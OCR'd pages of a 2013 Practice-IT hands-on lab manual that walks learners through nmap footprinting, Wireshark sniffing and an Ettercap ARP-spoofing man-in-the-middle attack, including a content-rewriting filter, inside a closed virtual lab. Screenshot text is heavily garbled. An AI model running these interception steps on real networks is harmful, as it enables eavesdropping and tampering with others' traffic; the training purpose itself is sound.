Introduction

The Network Vulnerabilities module provides you with the instruction and Server hardware to
develop your hands on skills in the defined topics. This module includes the following exercises:

1) Network Footprinting
2) Packet Sniffing
3) MitM with ARP Spoofing

4) Denial of Service

Lab Diagram
During your session you will have access to the following lab configuration.

SERVER1 CLIENT1
(Domain Controller) (Windows XP Workstation) BackTrack Server
192.168.0.1 /24 192.168.0.2 /24

E@QE

Connecting to your lab
In this module you will be working on the following equipment to carry out the steps defined in each

exercise.

e SERVER1 (Domain Controller)
e CLIENT1 (XP Workstation)

Each exercise will detail which console you are required to work on to carry out the steps.

To start simply click on the named Server from the device list (located on the left hand side of the
screen) and click the Power on from the in tools bar. In some cases the devices may power on
automatically.

During the boot up process an activity indicator will be displayed in the name tab:

e Black - Powered Off



e Orange - Working on your request
e Green - Ready to access

If the remote console is not displayed automatically in the main window (or popup) click the
Connect icon located in the tools bar to start your session.

If the remote console does not appear please try the following option:

e Switch between the HTML 5 and Java client versions in the tools bar.

In the event this does not resolve your connectivity problems please visit our Help / Support pages
for additional resolution options.

Copyright Notice

This document and its content is copyright of Practice-IT - © Practice-IT 2013. All rights reserved.
Any redistribution or reproduction of part or all of the contents in any form is prohibited other than
the following:

1) You may print or download to a local hard disk extracts for your personal and non-commercial use
only.

2) You may copy the content to individual third parties for their personal use, but only if you
acknowledge the website as the source of the material. You may not, except with our express
written permission, distribute or commercially exploit the content. Nor may you transmit it or store
it in any other website or other form of electronic retrieval system.



Exercise 1 - Network Footprinting

In this lab, you will practise attack strategies such as footprinting, spoofing, and Denial of Service.

A network scan is usually the first step in an attempt to penetrate security (or indeed to establish
what needs defending). Footprinting establishes the topology and protocols deployed on the
network while fingerprinting determines the services and other configuration details of a target
host.

One of the most popular scanning tools in nmap. This is a command-line program operated using
scripts. A GUI version (Zenmap) can perform several very useful pre-configured scans though.

From the Practice-Lab application power on the Server, and Client devices.
Select the “Connect” button when it becomes available to logon to Server.

Once you have logged in double click on the VMware Player icon located on the desktop.
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Double click the BackTrack icon to start the server.
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BackTrack

State: Powered Off
05:  Ubuniu
Version: VWorkstation 9.0 virtual machine
RAM: 512 MB

'ﬁ’ Play virtual machine

ﬂ Edit virtual machine settings
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Click in the Black window and Press Enter to select the default graphics mode (or use the Arrow key
to select 800x600 if you have a low resolution display).
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Start
Start
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BackTrack FrameBuffer (1824x768)
BackTrack FrameBuffer (888x688)
BackTrack Foremsics (no swap)
BackTrack in Safe Graphical Mode
Start Persistent Live CD

Start BackTrack in Text Mode

Start BackTrack Graphical Mode from RAM
Menory Test

Boot the First Hard Disk

Use the T and 4 keys to select which entry is highlighted.
Press enter to boot the selected 05, ‘e’ to edit the
commands before booting, or 'c’ for a command-line.

The highlighted entry will be booted automatically in 9 seconds
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When Backtrack has booted, type the following at the # prompt

startx

Press Enter to load the GUI.
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the systen clock.
ti ‘basic networking....
[Starting kernel event manager.... _
; hardware drivers...piix4_smbus 0000:00:07.3: Host SMBus controller not enabled!

the system clock.
kernel modules...Loading manual drivers...done.
kernel variables (/etcessysctl.conf)...done.
kernel variables (setcssysctl.d-/10-console-messages.conf)
kernel variables (setce/sysctl.d/10-network-security.conf)
kernel variables (‘etc/sysctl.d-10-process—security.conf)
kernel variables (setcrssysctl.d-wine.sysctl.conf)...done.

[Starting early crypto disks...done.

Starting remaining crypto disks...done.

hecking file systems...fsck 1.41.3 (12-0ct-2008)

one .

punting local filesystems...done.

Activating swapfile swap...done.

Skipping firewall: ufw (not enabled)...done.

Setting up console font and keymap...done.

Loading cpufreq kernel modules...done (nonel.

Loading ACPI modules. ...

Starting ACPI services

Starting system log daem

Doing Wacom setup....

Starting kernel log daemon....

Starting system message bus: dbus.

PUFreq Utilities: Setting ondemand CPUFreq governor...disabled, governor not available..

iStarting Hardware abstraction layer: hald.

Starting System Tools Backends: system—tools-backends.

BackTrack 4 RZ (CodeName Nemesis) Security Auditing

For more information visit: http://www.backtrack-1inux.org/
root@bt:"# startx_

“The quieter you become, the more you are able fo hear.”
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Right-click the flag icon on the taskbar to select the appropriate regional keyboard layout and
settings.

Click the Konsole icon to open a command shell.
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To connect the BackTrack Server to the same network as the CLIENT machine (using the DHCP server

on SERVER), enter the following command:

dhclient
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root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

T # dhclient
Internet Systems Consortium DHCP Client V3.1.1
Copyright 2004-2088 Internet Systems Consortium.
rights reserved.
info, please visit http: .isc.org/sw/dhcp/

Listening on LPF/ethl/ee@: 29:11:43:18

Sending on LPF/ethl,

Listening on LPF/eth8/80:

Sending on LPF/eth@

Sending on  Socket/

DHCPDISCOVER on ethl to 255.2 5.255 port 67 interval 8
DHCPDISCOVER on eth® to 255.255.255.255 port 67 interval 5
DHCPOFFER of 192.168.0.10 from 192.168.8.3

DHCPREQUEST of 192.168.0.18 on eth® to 255.25

DHCPACK of 192.168.0.18 from 192.168.8

bound to 192.168.8.10 -- renewal in 3

|| @ shell |

- Shell - Ko
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The DEVICE should receive an address in the 192.168.0.0 - 100 range. (Normally 192.168.0.10)

Use the K(onqueror) menu to open Backtrack > Network Mapping > Portscanning > Zenmap.
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root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

abt:~# dhclient
Internet Systems Consortium DHCP Client V3.1.1
188 Internet Systems Consortium.
rights reserved.
For info, please visit http:// 2 rg/sw/dhcp/

Listening on LPF/ethl/ee@:
Sending on LPF/ethl
Listening on LPF/eth8/80:
Sending on LPF/ethe/
Sending on  Socket/
= 2 2 .255,255.255 port 67 interval 8
nterval
Information Gatherin

W Interet i " @ Identify Live Hosts
@ Services Vulnerability Identification ' @ OS-Fingerprinting
2 Graphics Web Appli

<0 Multimedia

Radio Net\ . & woccan 4 Service Fingerprinting
Penetratio) = . Genlist <« VPN
Privilege E = yatifara

= System

o Utilities

% KSnapshot Maintainin
A ns Digital For

s Settings Reverse El

™ System Menu Voice Ove

Run Command... Miscellane

(44 44444444

1= Lock Session
w Log Out...

- Shell - Ko
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Enter 192.168.0.0/29 into the "Target" box. Click Scan.
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Zenmap
Scan Tools Profile Help

Target: |192.168.0.0/29| ~ | Profile: |Intense scan

Command: :nmap T4 -A -v 192,168.0.0/29

Hosts | Services | Nmap output | ports / Hosts | Topology | Host Details Scans |

0S ¢ | Host - S

Filter Hosts

i | 3 = G = il 14:04
s 5tart| | 2% ’ 2 5 o 5 1k 15/09/2012

H100% -

The scan will take a few minutes to complete and should finish with an "Nmap done" status
message.

Click the Topology tab - this shows the hosts found via the scan, in this case restricted to the local
subnet. You should be able to see all three DEVICEs.
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Zenmap
Scan Tools Profile Help

Target: | 192.168.0.0/29 ~ | Profile: |Intense scan

Command: |nmap -T4 -A -v 192.168.0.0/29

Hosts | Services ;-i\lmap Output | Ports { Hosts | Topology| Host Details | Scans |

0S 4 | Host > [Hosts viewer| Fisheye Controls Save Graphic I

3

192.168.0.2 ;

-

192.168.0.2

.5159501_32.169.0 2

@ localhost

.5152.153.0.1

Filter Hosts

i - Q - @ = % E & root@bt: ~ - ¥ Zenmap

| o= = . s
.L"startl . :I{:, ed , . EN iz o &6 O B
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Click the Host Details tab. This shows the scan's attempt to identify the OS. Click the different hosts
in the left-hand panel to view them. Note that the bomb icon shown on the SERVER DEVICE indicates
lots of open ports.

Note: Zenmap provides a GUI to the port scanning tool nmap
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Zenmap
Scan Tools Profile Help

Target: | 192.168.0.0/29 ~ | Profile: |Intense scan

Command: |nmap -T4 -A -v 192.168.0.0/29

Hosts | Services ;-i\lmap output | Ports f Hosts | Topology | Host Details| Scans |

0S ¢ | Host |~ 192.168.0.1

- : b Comments

“ e fEne = Host Status

< 192.168.0.3 State:
Open ports:
Filtered ports:
Closed ports: 0
Scanned ports: 1000
Up time: 1281
Last boat: Men Jan 14 11:25:46 2013

~ Addresses

IPv4: 192.168.0.1
IPvE: Mot available
MAC: 00:50:56:A3:2E:07

= Operating System
Microsoft Windows \ista SP0 or SP1,

MName:

Filter Hosts

= 40, @ = | e [+ == root@bt: ~ -© ¥ Zenmap
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Click the Ports / Hosts tab. This shows precisely which ports are open on each host and in some
cases the model and version of the server hosting them.
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Zenmap
Scan Tools Profile Help

Target: | 192.168.0.0/29 ~ | Profile: |Intense scan

Command: |nmap -T4 -A -v 192.168.0.0/29

Hosts | Services ;-i\lmap Output | Ports f Hosts| Topology | Host Details Scans |

=

05 4 | Host Port 4 _Prctocol 1 m State 4 | Service 1 \ersion |
4 53 tep open domain Microsoft DNS 6. I \
192.168.0.2 ® &0 tep open http Microsoft IS http: i}
192.168.0.3 @ as tep open kerberos-sec Microsoft Window
135 tep open msrpc Microsoft Window
139 tcp open netbios-ssn
389 tep open |dap
445 tep open netbios-ssn
464 tcp open kpasswds
593 tep open ncacrn_http  Microsoft Window
636 tep open Idap
Q02 tcp open vmware-auth VMware Authent
tcp open vmware-auth VMware Authent
open Idap
open Idap

-

open microsoft-rdp Microsoft Termini| > |
| [a]]

Filter Hosts

2 X0 @ ) & N E & root@bt: ~ - © ¥ Zenmap

H100% -

Finally, click the Services tab - this sorts the display by service rather than host. For any service you
are interested in attacking (or defending) you can see which host(s) are running it.
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Zenmap
Scan Tools Profile Help

Target: | 192.168.0.0/29 ~ | Profile: |Intense scan

Command: |nmap -T4 -A -v 192.168.0.0/29

Hosts | Services | |pmap Output | Ports { Hosts| Topology | Host Details| Scans |
Service 4 4 | Port 4 | Protocol 4 | State 4 | Service 4 | \ersion = |

domain ® s3 tep open domain Microsoft DNS 6. I \
http ® 80 tep open http Microsoft IS http| ||| [§ §
kerberos-sec @ ss tep open kerberos-sec Microsoft Window|
msrpc @ 135 tep open msrpc Microsoft Window
ncacn_http @ 1390 tcp open nethios-ssn
netbios-ssn ® 380 tep open |dap
microsoft-rdp @ 2445 tep open netbios-ssn
|dap ® 454 tep open kpasswds
wvmware-auth @ 593 tep open ncacrn_http  Microsoft Window
kpasswds D 636 tcp open Idap
902 tcp open vmware-auth VMware Authent
tcp open vmware-auth VMware Authent
open Idap
open ldap

-

open microsoft-rdp Microsoft Termini| > |
| [a]]

Filter Hosts

2 X0 @ = N7, E & root@bt: ~ - © ¥ Zenmap 215 s ::i
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Close Zenmap, discarding any changes.

Continue to the next exercise to discover more network vulnerability tools.




Exercise 2 - Packet Sniffing

Another critical information gathering tool is a protocol analyzer. This tool captures unicast packets

sent to the host and broadcast packets on the same subnet. The most widely used is Wireshark,
which is bundled with Backtrack.

From the console, type wireshark and press Enter.

= Server - Windows Internet Explorer | =] & @

= —

| i https://labs.practice-labs.com/+ CSCO+d0756767633 A2F2F7261 747661 722E63656E70677670722D76672E70622E6878 + + / -C5CO-3p--host.htm - '_,!

"} BackTrack - YMware Player {(Non-commercial use only) | _ 5]
" !

Flaver + | e .ﬁj o

«| ki
root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

:-# wireshark]]

BICEE

& root@bt: ~ - Shell - Ko

£ 'Startli ]{x‘, ,g

Click OK to the warning.

Maximize the window.

Click the Capture Options button.
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The Wireshark Network Analyzer
Fle Edit \iew Go | Capture | Analyze Statistics Telephony Tools Help

m @ @.mterfaces Ctrl+ &\ w @ § %g %? \Ii“ »éf
Filter: Ctrl+E " Expression... Clear Apply

‘.A

i copture flters: lost Popular Network Protocol Analyze|

. Capture B Files |

y Interface List o Open

Live list of the capture interfaces (counts incoming packets) Open a previously captured file

Start capture on interface: Open Recent:

| etho

ath1 Sample Captures
Pseudo-device that captures on all interfaces A rich assortment of example capture files on the wi||
USE bus number 1 7
USE bus number 2
lo

Bmm

m Capture Options

Start a capture with detailed options

O Ready to load or capture | No Packets . || Profile: Default
3"._ W - Q = - % | "'1 & root@bt: ~ - © [l The Wiresh ﬂﬁm% 1

e IE Ik |

In the "Capture Filter" box, type:
host 192.168.0.10

(A capture filter is used to restrict the type of packets processed by Wireshark)

Click Start.
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Wireshark: Capture Options
Capture
Interface; |etho
IP address: 192.168.0.10
Link-layer header type: | Ethernet [+
| Capture packsts in promiscuous mode | B 2 megabyte(s)
Capture packets in pcap-ng format (experimental)
Limit each packet to | i < bytes

Capture Filter: |

Capture File(s) Display Options

File: Sipwse: X Update list of packets in real time

Use multiple files

%] Automatic scrolling in live capture

%| Hide capture info dialog

e capture files on the wi|
Name Resolution q

Ar4Ar 4r 4

Stop Capture .. *®| Enable MAC name resolution

| .. after
Enable network name resolution
... after

. after | | Enable transport name resolution

Help | | cancel Bl ]
s
2 A0 @ | © e v @ root@bt: ~ - [l The Wiresh: B[ my g 1 =

s oo m

H100% -

Connect to the CLIENT device using the Practice-Labs application.



(2 Client - Windows Internet Explorer == ==

| @ hitps://labs.practice-labs.com/+ CSCO+d0756767633 A2F2F 7261747661 722E63656E70677670722D76672E710622E6878 + + /-C5CO-3p--host.htm a2 |

&fstart| EN |

#100% -

Open a command prompt and ping the IP address of BackTrack (192.168.0.10).
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IC:“Documents and Settingz“Administrator. CLASSROOML .BB@>ping 192_168.
Pinging 192.168_8.18 with 32 bytes of data:

Reply from 192.168.0.18: hytes=32 time=2ms TIL=64

Reply from 192.168.8.18: bytes=32 time<lms TIL=l 1

o

#100% -

i!;'start| B C\WINDOWS' system...

Switch back to Backtrack and stop the capture and note what has been captured.
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eth0 (host 192.168.0.10) - Wireshark
File Edit \iew Go Capture Analyze Statistics Telephony Tools Help

Bl & @ R Xe = %00 4% oo |EHE
Filter: '_ v | Expression... Clear Apply

Destination | protoco | Info
o

Vmware 11:43 Vmware a3:2e:08  192.168.0.10 is at 00
30.000700  192,168. 192.168.
40.000724  192.168. 192.168.
S 1.000949  192,168. 192.168.

fo] Echo (ping) reguest
Q
Q
5 1.000979 1592,168.0. 192.188.
Q
Q
Q

Echo (ping) reply
Echo (ping) reguest
Echo (ping) reply
Echo (ping) request
Echo (ping) reply

7 2.002246 192, 168. 192.168.
8 2.002269 192.168. 192.168.
9 3,003699 192, 168. 162, 168. Echo (ping) reguest
10 3.003721 192.168.0. 152.168. Echo (ping) reply
11 5.010285 Vmware_11:43:0e Vmware_a3:2Ze:08 ARP who has 192.168.0.27 r
12 5.010647 Vmware_a3:Ze:08 Vmware_11:43:0e ARP 162.168.0.2 1s at 00:50:5€|+
4 41

a
o}
a
Q.
a
o}
a
o}

b Frame 1: 60 bytes on wire (480 bits), 60 bytes captured [480 bits)
b Ethernet II, Src: Vmware_a3:2e:08 (00:50:56:a3:2e:08), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
b Address Resolution Protocol (request)

Tt ff 1f 00 50 56 a3 Ze 08 08 06 00 01
04 00 Ol 00 50 56 a3 2e 08 cO a8 00 02
00 00 00 c a8 00 Ca 00 00 OO OO OO OO
00 00 00 00 60 00 00 00 00

|+ @ root@bt: ~ - |l etho (host

H100% -

Continue to the next exercise to learn about Man in the middle attacks.



Exercise 3 - MitM with ARP Spoofing

As an attacker, you may be more interested in finding out what information a different host on the
network is receiving and possibly to modify the transmissions between two hosts - a Man in the
Middle (MitM) attack. Ettercap is one of the most widely used tools for launching MitM attacks. On a
local network, one of the most powerful techniques is ARP spoofing.

Connect to SERVER Practice-Lab device.

Open Explorer and copy the ftproot and wwwroot folders from C:\labfiles.
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B 1abfiles

k)'v | | = Computer = Local Disk (i) = labfiles = - @” Search labfiles

Grganize » o Open  New folder

o Favarkes e Diate modified
B Deskiop

& Downloads 19

u - -~
] Recert Pl
4 Resent Haces 2| pcrromo 08{05/2011 22:32  WBScript Script Fie 2B

o3 Libraries R gi:;e: ;?Dagdl PIREIZLL ript: File 2KB
= gkaspﬁ.D.ZIS‘? adminkiFolders: _borders, _detived, _overlay, _private, _themes, ... 45,452 KB
] Documents T Files: inde, infao, info_resulk, news, prol, pr2, pro3, ... :

J‘ Music Q‘ kavt, 04,1424 winserven 10052011 1022 Application 71,218 KB

(=] Pictures @ kavé, 0.4, 1424 _wirwksen 09j0s/2011 21:36 Application 77,905 KB
E Videos ﬁ%! miysgl-5.5. 1 2-win32 09j05/2011 11:47 Windows Installer P, 28,288 KB
- wireshark-win3z-1.4.4 07j03/2011 14:23 Application 18,978 kB

]ﬁ Computer.

“j Metwork

2 itemns selected Date modified: 13/08/2012 11:19

wlla el 147
J B = (] 1zf09z012 =
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Open C:\inetpub and paste the folders, choosing to merge with the existing folders.
Browse to C:\inetpub\wwwroot
Right click the Index.htm file and open with Notepad.

Find and delete this line: meta X50!P%@AP[4\PZX54(P*)7CC)7}SEICAR-STANDARD-ANTIVIRUS-TEST-
FILEISH+H*
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‘ dex - Notepad =]
File Edit Format Wiew Help
<html>

|»

<head:
<meta

‘Q\ )= ‘ - Computer = Local Disk (C1) + inetpub = wisiarodt -

<meta noarcnive =

Organize ¥ @ Open ¥  Print  hewFolder «meta http-eguiv="Content-Type" content="text/html; charset=windows-1252">
<meta http-eguiv="Content-Language" content="en-gh">
Name <meta name="GEMERATOR" content="Microsoft Frontrage 4.0">
W :Favorites <meta hame="Frogld" content="Frontrage.Editor.Document s
B Desktop bobdare <title>The Book Cumpan¥ | Home</titles
b, <!--mstheme--><Tink rel="styleshaat" type="text/css" href="_themes /expeditn/
& Dovnloads | _derived <meta name="Microsoft Border” content="th':
] Recent Places < /head>
= _overlay
e _private <hody><! —-msnavigation--»<table border="0" cellpadding="0" cellspacing="0" w
- BRETEREE _themes <p a'_I"lgm="cemter"i<f0nt s‘jzeﬁ"6"><strong><'img sre="_derived/Tndex. htm_cmp_ex|
) <script language="lawvascript's<!--
& Music $ Images MSFPhover =
&) Pictures & |iisstart C({navigator.appuame == "Metscape") &&

tparseInt{navigator.appversion) = 3 1)

Il
videos _ ((navigatar.appiame == "Microsoft Int%get Explorer") &&

(parseInt(mavi?atUr.apgversiun) »= 4 H
d

£ |info Tunction MsFPpreToad(im
‘B Computer = I
£ ifpreaik war a=new Image(); a.src=img; return a;
i§ | NEWS . . " ) "
M Network €l S ——refscriptrescript language="Javascript's<!——
& | prot if(MSFPhoverg 1 MSFPhavln=MsFPpreload("_derived home_cmp_expeditnOlo_hbtn_p.
S ——refscriptz<a href="index.htm" language="Javascript" onmouseover="if(msFI
€ proz i‘F(MSFPhoverg 1 MSFPhavZn=MsFPpreload(”_derived/products. htm_cmp_expeditn0lo,
E|pros A ——=<fscripte<a href="products.htm" Tanguage="Javascript” onmouseover="if(
i'F(MSFPhD\/erg 1 MsFPnav3n=msrPpreload("”_derived mews. htm_cmp_expeditnolo_hbti—
1, PressReleases S ——refscripte<a href="news.htm" Tlanguage="lavascript" onmouseover="1f(MSFPI|
<p align="center">&nhsp; </p>
& | prodot
| prodoz </ Tdx</Tre<l ——msnavigation--»><,/Tahle><! ——msnavigation--><table dir="1tr" hor
£ | products <hl>The Book Company</hlx
<hrs
|__| sendmail.php <pswelcome to The Book Company wehsite.&nbsp; aAs the holiday season approach
we are ﬁ]eas_ed To announce&nbsp; new discounts on all our major authors.&nbs)
£ index Date modfied: 11/01/2013 16:05 pe [FANCY Wi 1ﬁpmg up a dish with Jamie oliver or nNigella Lawson, then ook no
further than our cookery section for their latest offerings.</p>
{ HTML Dacument Size: 4.32 KB <hrs

<h2sContact Information<sh2:
<E>Gett1'n in touch with us could not he easier, you can contact us using am
the methods Tisted below.</p>
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Save and close the file.
Connect to the CLIENT device in your Practice-Lab and open a command prompt.

Type ping 192.168.0.3 to check connectivity with the SERVER.




Windows Internet Explorer = A F—— R——— e

Mi ft Windows [Uers i
{C» Copyright 1985-2881 Microsoft Corp.

“Documents and Settings“Administrator. CLASSROOML . @BA>ping 192.168.8.3
Pinging 192.168.8.3 with 32 hytes of data:

Reply from 192.168.8.3 2 i s ITL
192.168.8. 1 ime < IT
192.168.8. i

Reply from 192 _168_0.

Ping statistices for 192.168_8.3:
Packets: Sent 4, Received 4, Lost = @ (Bx loss).
Appr mate round p times in milli-second
1imum = Bms,. Maximum = Bms. fAverage = Oms

C:“\Documents and Settings“Administrator.CLASSROOML.BBA

& 5tart| |m CAWINDDWS system... | @, %

#100% -

Open Internet Explorer and load http ://webserver



http://webserver/

r —
(& Client - Windows Internet

ompany | Homi osoft Internet Explorer

File Edit View Favorites Tools Help

Back ~ EJ - %] @] ¥ | ) search 5 Favorites .‘;}v 2 = &
R 7 PAY | = =]
Address IE] http:fjwebserver] _:’ Go | Links >

The Book Company

Welcome to The Book Company Website. As the holiday season approaches we are pleased to announce new discounts
on all our major authors. Fancy whipping up a dish with Jamie Oliver or Nigella Lawson, then look no further than our
Cookery section for their latest offerings.

Contact Information

Getting in touch with us could not be easier, you can contact us using any of the methods listed below. 5

|&] Done l_ ,_ [_ I_ I_ Local intranet 4

Hstart| BN C:\WINDOWS\system32. .. ||@ The Book Company | ... @2 % |

®100% ~

In the command prompt, type
arp -a

This will show you a view the ARP cache. Make a note of SERVER's MAC address:



Interface: 192.168.8.2 —
Internet Address Type
192 _168.8.1 AA-568-56 b dynamic
192.168.8.3 BA-58-56 dynamic
192.168.8.258 BA-1e—4a-6h—hc—71 dynamic

C:sDocuments and Settings“Administrator.CLASSROOM1.BAE>

&/ start| [ -\ wINDOWS  system... 153

H100% -

Switch to Backtrack. From the K(onqueror) menu, select Internet > Ettercap. Maximize the window.
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Player

install.sh

All Applications
<€ Backtrack
% Internet

<« Services

s Graphics

€0 Multimedia

= System

o Utilities

% KSnapshot

Actions

s Settings

“ System Menu
Run Command...

(=) Lock Session

@ Log Out...

(4
L gFTP
. Kopete - Instant Messenger
w Liferea Feed Reader
¥ @ Paterva Maltego CE
¥ 3] tpcat
{g) wicd Network Manager
Sun Java 6 Web Start
» % Konqueror - Web Browser
4 v‘) Lynx Web Browser
$2 XChat IRC
@ Firefox Web Browser

%0 e =

£

3

16:11

11/01/2013

*+.100%

v

Select Sniff > Unified Sniffing
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"} BackTrack - YMware Player {(Non-commercial use only)

Flaver + | HE * i

Bridged sniffing... Shift+B

“q, Set peap filter... P

-

ettercap NG-0.7.3

» ettercap NG-0.7.3

leil2

% 100%

iy 11/01/2013

-

"

Check that the interface “eth0 " is selected and click OK.




File Sniff Options Help

[+] % ettercap NG-0.7.3

YMware Tools enables many features and improves mouse movement, video and performance. Log in to the guest
operating system and click "Install Tools".

Erstart| | -’Jg} Y|

N Press Ctrl+Alt to release

Install Tools | Remind Me Later | Never Remind Me
% the mouse cursor

[ 15:11
EN|l 2 [ 3 o)
| % P % s 13/09/2012

#®100% ~

Select Hosts > Scan for hosts. This should return three results.

Once the scan has completed Select Hosts > Hosts list
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ettercap NG-0.7.3
Start Targets | Hosts | Wiew Mitm Filters Logging Plugins Help

Scan for hosts  Ctrl+5S
Load from file... Ctrl+0
Save to file... ctrl+s

53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...

& Q all @ = % E & root@bt: ~ - © ¥ ettercap NG Bf iy ::i

H100% -

This will show you a list of discovered hosts.
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i

Start Targets Hosts View Mitm  Filters

Host List - |

ettercap NG-0.7.3
Logging Plugins Help

|| IP Address MAC Address | Description

162.168.0.2 00:50:56:A3:4A57
162.168.0.2 00:50:56:A3:2E:27
162.168.0.250 00:1E:4A6BBC:71

Delete Host

53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...

b
Ll

% 100%

1oil4

11jo1jz013 =
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Select 192.168.0.3 and click Add to Target 1 then select 192.168.0.2 (CLIENT's IP address) and click

Add to Target 2.
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ettercap NG-0.7.3
Start Targets Hosts \iew Mitm Filters Logging Plugins Help

Host List - |

IP Address MAC Address [ Description

162.168.0.2 00:50:56:A3:2E:29
162.168.0.250 00:1E:4A6BBC:71

Delete Host | Add to Target 1 Add to Target 2

1
1698 tcp OS fingerprint
2183 known services
Randamizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...
Host 192.168.0.3 added to TARGET1
Host 192.168.0.2 added to TARGET2

= %, . @ ™~ % [v| == root@bt: ~ - © ¥ ettercap NG 7y :’,
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Select Mitm > Arp poisoning. Click OK.
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ettercap NG-0.7.3
Start Targets Hosts \iew | Mitm | Filters Logging Plugins Help

Host List - | ¢
- lemp redirect..,

IP Address MAC Address Paort stealing...
: Dhep spoofing...

102.168.0.2 00:50:56:A3:2E | StOP mitm attack(s)

162.168.0.250 00:1E:4A6BBC:71

Delete Host | Add to Target 1 Add to Target 2

1
1698 tcp OS fingerprint
2183 known services
Randamizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...
Host 192.168.0.3 added to TARGET1
Host 192.168.0.2 added to TARGET2

= %, . @ ™~ % [v| == root@bt: ~ - © ¥ ettercap NG 7y :’,

H100% -

Select OK to the displayed message
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Flaver + |
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Start Targets Hosts \iew Mitm Filters Logging Plugins Help

Host List - |

IP Address MAC Address [ Description

162.168.0.2 00:50:56:A3:2E:27

W @ MITM Attack: ARP-F

Optional parameters

[_1iSniff remote connections .
[] only poison one-way.

oK Cancel

Delete Host Add to Target 1

Add to Target 2

1
1698 tcp OS fingerprint
2183 known services
Randamizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...
Host 192.168.0.3 added to TARGET1
Host 192.168.0.2 added to TARGET2

% IE & root@bt: ~ - © ¥ ettercap N

FEny

5%

1oil4

11jo12013

% 100%
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Select Start > Start sniffing.
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ettercap NG-0.7.3

@ Stop sniffing  Ctrl+E -
Exit Ctrl

162.168.0.2 00:50:56:A3:2E:27

Delete Host Add to Target 1

Add to Target 2
Host 192,168.0.2 added to TARGé%é o

ARP peoisoning victims:

GROUP 1:182.168.0.3 00:50:56:A3:2E:27

GROUP 21 182.168.0.2 00:50:56:A3:4A.57

o0 = & root@bt: ~ - = ¥ ettercap NG FEjuy :’;

— 16114
iy 11012015 =

H100% -

Switch to the CLIENT workstation and ping 192.168.0.3 again.

Enter arp -a to view the ARP cache. Make a note of SERVER's MAC address:
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S WINDOWS  system 32 cmd.exe

Interface: 192.168.8.2 —— Bx2
Internet Address Phygical Address Type
192.168.08.1 BA-58-56-a3 dynamic
192 _168.0.3 AR 9- dynamic
192.168.08.18 al— dynamic
192.168.8.258 5 2 —4a- P dynamic

C:sDocuments and Settings“Administrator.CLASSROOM1.BAE>

djstart| BN C:\WINDOWS' system... D% |

H100% -

Note that you can see BACKTRACK IP address and MAC and that the MACs for BACKTRACK and
SERVER are identical. The attack we are launching is quite unsophisticated - it is possible to be a lot
sneakier.

As a simple example of doing some content rewriting, we will design a filter to subvert the web
server hosted on SERVER.

Switch back to the BACKTRACK SERVER and Stop the Arp poisoning and Sniffing.
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ettercap NG-0.7.3
| Start | Targets Hosts View Mitm Filters Logging Plugins Help
) Start sniffing  Ctri+W

35§ Description

Ctrl+x

162.168.0.2 00:50:56:A3:2E:29
162.168.0.250 00:1E:4A6BBC:71

Delete Host | Add to Target 1 Add to Target 2

ARP poisoning victims:
GROUP 1:182.168.0.3 00:50:56:A3:2E:29
GROUP 2 :182.168.0.2 00:50:56:A3:2E:08
Starting Unified sniffing...
|

5 A, @ ™~ % [+ @ root@bt: ~ - = ¥ ettercap NG By :’, 1 B2 =E :'-'E >

€

% 100%

" BackTrack - YMware Player (Non-commercial use only) X

=l

-

Open a console and enter:
cd /usr/share/ettercap
Then edit the etter.filter file by using the nano editor.

nano etter.filter
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Session Edit

root@bt: fusr/share/ettercap - Shell - Konsole
View Bookmarks Settings Help

:~# ed Jfusr/share/ettercap

|| @ shell |

# nano etter.filter]]

& root@bt: ju

FEny

[ 16:17
EM|la [t !r[= iy’
5 | SNy ingjeos

H100% -

i

Delete the existing code and insert the following syntax:

if (ip.proto == TCP && tcp.src == 80) {

replace("Book", "Bookie-Wookie");}
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BackTrack - ¥Mware Player {Non-comme!

Player = oy B

root@bt: /usr/share/ettercap - Shell - Konsole

Session Edit View Bookmarks Settings Help

GNU nano 2.0.7 File: etter.filter
(at your option) any later version.

i

This filter will substitute the word ‘ethercap' with ‘ettercap' and
will log the content of the packet in /tmp/misp ed ettercap.log
It is only a dummy example.

if (ip.proto tep.src == 80) {
replace( . "Bookie-Wookie");

@e Get Help @MW WriteOut @ Read File @i Prev Page @i Cut Text [ Cur Pos
B Exit g Justify il where Is |l Next Page gl UnCut Textjgl] To Spell

|| @ shell |

|3 il ===y ‘ : 11:21
= | 14fn9/2012

=

Press Ctrl+O then Enter to save the file then Ctrl+X to exit.

To compile the script (to make it usable in Ettercap), use the following command in the konsole:

etterfilter etter.filter -o etter.ef
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f "} BackTrack - YMware Player {(Non-commercial use only)
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root@bt: fusr/share/ettercap - Shell - Konsole

Session Edit View Bookmarks Settings Help

# etterfilter etter.filter -o etter.ef

etterfilter NG-8.7.3 copyright 2801-2 ALoR & NaGA
12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth

11 constants loaded:
VRRP 05PF GRE UDP TCP ICMP6 ICMP PPTP PPPOE IP ARP

Parsing source file 'etter.filter' done.
Unfolding the meta-tree done.

Converting labels to real offsets done.

Writing output to 'etter.ef' done.

-> Script encoded into 6 instructions.

1520

11jo12013

% 100%

Switch back to Ettercap and select Filters > Load a filter. Select the etter.ef file and click OK.

-

=
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Start Targets Hosts View Mitm  Filters Plugins Help

Host List - |

IP Address )] ] Select a precompiled filter file...

| jusrgsharejettercap |~ |
192.168.0.3 | Jusrf: 1! Pz
Folders 1! | Files
J ettercap.png

E etter.dns

4 etterfields
Desktop etterfilter
7 etterfilter.cnt 1B

E L attarfiltar avamnlac =

Documents | Mew Folder Rename File Delete Fle

Selection: fusr/sharefettercap

| etter.ef

GROUP 1:182.1§

GROUP 2 ; 182.168.0.2 00:50:56:A3:4A.57
Starting Unified sniffing...

